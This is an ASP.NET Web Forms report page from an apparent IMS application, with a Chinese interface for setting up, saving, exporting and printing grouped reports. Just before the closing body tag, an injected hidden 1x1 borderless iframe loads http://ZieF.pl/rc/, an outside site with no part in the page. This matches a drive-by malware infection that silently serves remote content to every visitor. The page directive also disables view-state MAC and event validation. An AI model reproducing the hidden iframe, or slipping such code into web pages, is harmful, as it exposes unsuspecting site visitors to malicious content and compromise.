<%@ page language="C#" autoeventwireup="true" inherits="ims.web.report, ims.web" enableviewstatemac="false" enableEventValidation="false" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="report">
<head runat="server"><title></title>
</head>
<body>
    <form id="form1" runat="server">
        <asp:ScriptManager ID="s1" runat="server">
            <Scripts><asp:ScriptReference Name="MicrosoftAjax.js" ScriptMode="Auto" Path="~/js/MsAjax.js"/><asp:ScriptReference Name="MicrosoftAjaxWebForms.js" ScriptMode="Auto" Path="~/js/MsAjax.js"/></Scripts>
        </asp:ScriptManager>
    <div runat="server" id="EmptyPrompt" visible="false" class="highlight corner"></div>
    <asp:UpdatePanel ID="up" runat="server" ChildrenAsTriggers="false" OnPreRender="InitTable" UpdateMode="conditional" RenderMode="Block">
    <ContentTemplate>
        <asp:HiddenField runat="server" ID="layout" />
        <div runat="server" id="reportTitle" class="pageTitle"></div>
        <asp:UpdatePanel ID="dataArea" runat="server" ChildrenAsTriggers="false" UpdateMode="conditional" RenderMode="Inline">
        <ContentTemplate>
        </ContentTemplate>
        </asp:UpdatePanel>
        <div runat="server" id="footer"></div>
    </ContentTemplate>
    </asp:UpdatePanel>
    <div id="loading"><img src="images/loading.gif" />正在生成报表，请稍候…</div>    
    <ims:Pop runat="server" ID="p" Width="745" OnClientUpdated="InitSettingCtl();" OnOkClientClick="return PreMakeReport();" HideOnOkClientClick="false" OnOkClick="MakeReport" HelpSubject="report" OkButtonText="生成报表" CustomCss="noline" ShowProgress="false">
        <ContentTemplate>
            <div class="item">● 根据什么进行分组统计？</div>
                <div class="setting">
                    <table cellspacing="0" cellpadding="0" class="autoWidth"><tr><td id="tdSetting">
                        选择：<asp:DropDownList runat="server" ID="ddlG1"></asp:DropDownList><span class="hide">&nbsp;<asp:DropDownList runat="server" ID="ddlP1"></asp:DropDownList><span class="hide">：<asp:TextBox runat="server" ID="tbSep1" Width="220"></asp:TextBox></span><asp:DropDownList runat="server" ID="ddlSpan1" CssClass="hide"></asp:DropDownList></span>&nbsp;&nbsp;排序：<asp:DropDownList runat="server" ID="ddlSort1"></asp:DropDownList><asp:DropDownList runat="server" ID="sort1"></asp:DropDownList>
                        <div runat="server" id="group2" class="hide">二级：<asp:DropDownList runat="server" ID="ddlG2"></asp:DropDownList><span class="hide">&nbsp;<asp:DropDownList runat="server" ID="ddlP2"></asp:DropDownList><span class="hide">：<asp:TextBox runat="server" ID="tbSep2" Width="220"></asp:TextBox></span><asp:DropDownList runat="server" ID="ddlSpan2" CssClass="hide"></asp:DropDownList></span>&nbsp;&nbsp;排序：<asp:DropDownList runat="server" ID="ddlSort2"></asp:DropDownList><asp:DropDownList runat="server" ID="sort2"></asp:DropDownList></div>
                        <div runat="server" id="group3" class="hide">三级：<asp:DropDownList runat="server" ID="ddlG3"></asp:DropDownList><span class="hide">&nbsp;<asp:DropDownList runat="server" ID="ddlP3"></asp:DropDownList><span class="hide">：<asp:TextBox runat="server" ID="tbSep3" Width="220"></asp:TextBox></span><asp:DropDownList runat="server" ID="ddlSpan3" CssClass="hide"></asp:DropDownList></span>&nbsp;&nbsp;排序：<asp:DropDownList runat="server" ID="ddlSort3"></asp:DropDownList><asp:DropDownList runat="server" ID="sort3"></asp:DropDownList></div>
                        <div runat="server" id="group4" class="hide">四级：<asp:DropDownList runat="server" ID="ddlG4"></asp:DropDownList><span class="hide">&nbsp;<asp:DropDownList runat="server" ID="ddlP4"></asp:DropDownList><span class="hide">：<asp:TextBox runat="server" ID="tbSep4" Width="220"></asp:TextBox></span><asp:DropDownList runat="server" ID="ddlSpan4" CssClass="hide"></asp:DropDownList></span>&nbsp;&nbsp;排序：<asp:DropDownList runat="server" ID="ddlSort4"></asp:DropDownList><asp:DropDownList runat="server" ID="sort4"></asp:DropDownList></div>
                        <div runat="server" id="group5" class="hide">五级：<asp:DropDownList runat="server" ID="ddlG5"></asp:DropDownList><span class="hide">&nbsp;<asp:DropDownList runat="server" ID="ddlP5"></asp:DropDownList><span class="hide">：<asp:TextBox runat="server" ID="tbSep5" Width="220"></asp:TextBox></span><asp:DropDownList runat="server" ID="ddlSpan5" CssClass="hide"></asp:DropDownList></span>&nbsp;&nbsp;排序：<asp:DropDownList runat="server" ID="ddlSort5"></asp:DropDownList><asp:DropDownList runat="server" ID="sort5"></asp:DropDownList></div>
                    </td><td valign="bottom">
                        &nbsp;<a runat="server" id="aAdd" href="javascript:void(0);" onclick="return addGroup();">增加下级分组</a>
                    </td></tr></table>
                </div>
            <div class="item">● 使用什么统计方法？</div>
            <div class="setting">选择：<asp:DropDownList runat="server" ID="ddlCompute"></asp:DropDownList></div>
            <div class="item">● 要在报表中显示哪些内容？</div>
            <div class="setting"><asp:CheckBoxList runat="server" ID="cblFields" class="colorText" RepeatLayout="Flow" RepeatDirection="Horizontal"></asp:CheckBoxList>　<img src='images/selectall.gif' class='slt' title='全选/全不选' onclick="SelectAll('p_cblFields');" /><img src='images/revselect.gif' class='slt' title='反选' onclick="RevSelect('p_cblFields');" />
                <div class="sepline2"></div>
                选项：<asp:CheckBox runat="server" Checked="false" ID="cbTitle" Text="报表标题" />&nbsp;<asp:CheckBox runat="server" ID="cbDetail" Text="明细记录" />&nbsp;<asp:CheckBox runat="server" ID="cbCount" Text="计数" />&nbsp;<asp:CheckBox runat="server" ID="cbPrinter" Text="报表打印人" />&nbsp;<asp:CheckBox runat="server" ID="cbTime" Text="打印时间" />
            </div>
            <div id="divTitle">
            <div class="item">● 报表的标题是？</div>
            <div class="setting">选择：<asp:RadioButton runat="server" ID="rbAuto" GroupName="ReportTitle" Text="自动生成" Checked="true" />&nbsp;<asp:RadioButton runat="server" ID="rbCustom" GroupName="ReportTitle" Text="自定义：" /><asp:TextBox runat="server" ID="tbTitle" Width="240"></asp:TextBox></div>
            </div>
            <div id="divDetailSort">
            <div class="item">● 明细记录如何排序？</div>
            <div class="setting">选择：<asp:DropDownList runat="server" ID="ddlDetailSort"></asp:DropDownList><asp:DropDownList runat="server" ID="sortDetail"><asp:ListItem Value="ASC" Selected="True">升序</asp:ListItem><asp:ListItem Value="DESC">降序</asp:ListItem></asp:DropDownList></div>
            </div>
        </ContentTemplate>
    </ims:Pop>        
    <asp:UpdatePanel ID="upBtns" runat="server" ChildrenAsTriggers="false" UpdateMode="conditional">
    <ContentTemplate>
        <input type="button" class="btn" style="width:66px" value="报表设置" onclick="ShowPop('p_popup');" />
	    <input type="button" runat="server" class="btn" value="管理报表" id="btnManage" onclick="return toManage();" onserverclick="ManageReports" style="width:66px" />
        <input type="button" runat="server" id="btnSwicth" value="切换报表" onclick="return showMenu();" class="btn" style="width:66px" />
        <input type="button" runat="server" id="btnExport" onclick="return toExportAs('#up');" value="导出" class="btn" />
        <input type="button" runat="server" id="btnPrint" value="打印" accesskey="P" onclick="$('#up').printIt();" class="btn" />
	    <input type="button" onclick="back();" value="返回" class="btn" />
    </ContentTemplate>
    </asp:UpdatePanel>
    <ims:Pop runat="server" ID="m" ShowOkButton="false" CanelButtonText="关闭" Title="管理报表" CustomCss="noline">
        <ContentTemplate>
            <fieldset><legend>保存当前设置</legend>
                <div class="padcenter">名称：<asp:TextBox runat="server" ID="tbName" Width="240" onkeydown="return enterTo('m_btnSave');"></asp:TextBox><asp:Button runat="server" ID="btnSave" OnClientClick="PreSave();" OnClick="SaveSetting" Text="保存" CssClass="btn" /></div>
            </fieldset>
            <div runat="server" id="allReports">
                <table class="normal" cellspacing="1">
                    <tr><th>报表名称</th><th style="width:60px">设为默认</th><th style="width:32px">更名</th><th style="width:32px">删除</th></tr>
                    <asp:PlaceHolder runat="server" ID="phReports"></asp:PlaceHolder>
                </table>
            </div>
        </ContentTemplate>
    </ims:Pop>
    <asp:UpdatePanel ID="upMenu" runat="server" UpdateMode="Conditional">
        <ContentTemplate>
            <div class="menu" id="reportList" runat="server">
            </div>
        </ContentTemplate>
    </asp:UpdatePanel>
    <script src="js/comm.js"></script><script src="js/report.js"></script>
    </form>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>